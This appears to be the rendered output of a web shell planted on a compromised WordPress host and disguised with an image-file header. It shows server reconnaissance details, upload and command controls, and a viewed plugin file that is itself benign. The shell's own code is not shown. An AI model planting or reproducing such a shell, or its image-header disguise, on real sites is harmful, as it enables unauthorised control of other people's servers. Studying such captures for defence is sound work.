????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/health-check/HealthCheck/Tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/health-check/HealthCheck/Tools/class-health-check-robotstxt.php
<?php

/**
 * Checks if there is a non-virtual robots.txt file and if yes, show it.
 *
 * @package Health Check
 */

// Make sure the file is not directly accessible.
if ( ! defined( 'ABSPATH' ) ) {
	die( 'We\'re sorry, but you can not directly access this file.' );
}

/**
 * Class Mail Check
 */
class Health_Check_Robotstxt extends Health_Check_Tool {

	public function __construct() {
		$this->label       = __( 'robots.txt Viewer', 'health-check' );
		$this->description = __( 'The <code>robots.txt</code> file tells search engines which directories are allowed to be crawled and which not. WordPress generates a virtual file if there is no physical file. If there is a non-virtual file, the content will be displayed here.', 'health-check' );

		parent::__construct();
	}

	public function tab_content() {
		global $wp_rewrite;

		if ( file_exists( ABSPATH . 'robots.txt' ) ) {
			printf(
				'<pre>%s</pre>',
				esc_html( file_get_contents( ABSPATH . 'robots.txt' ) )
			);
		} else {
			printf(
				'<p>%s</p>',
				__( 'Your site is using the virtual <code>robots.txt</code> file which is generated by WordPress.', 'health-check' )
			);
		}
		?>
		<?php
	}

}

new Health_Check_Robotstxt();

Youez - 2016 - github.com/yon3zu
LinuXploit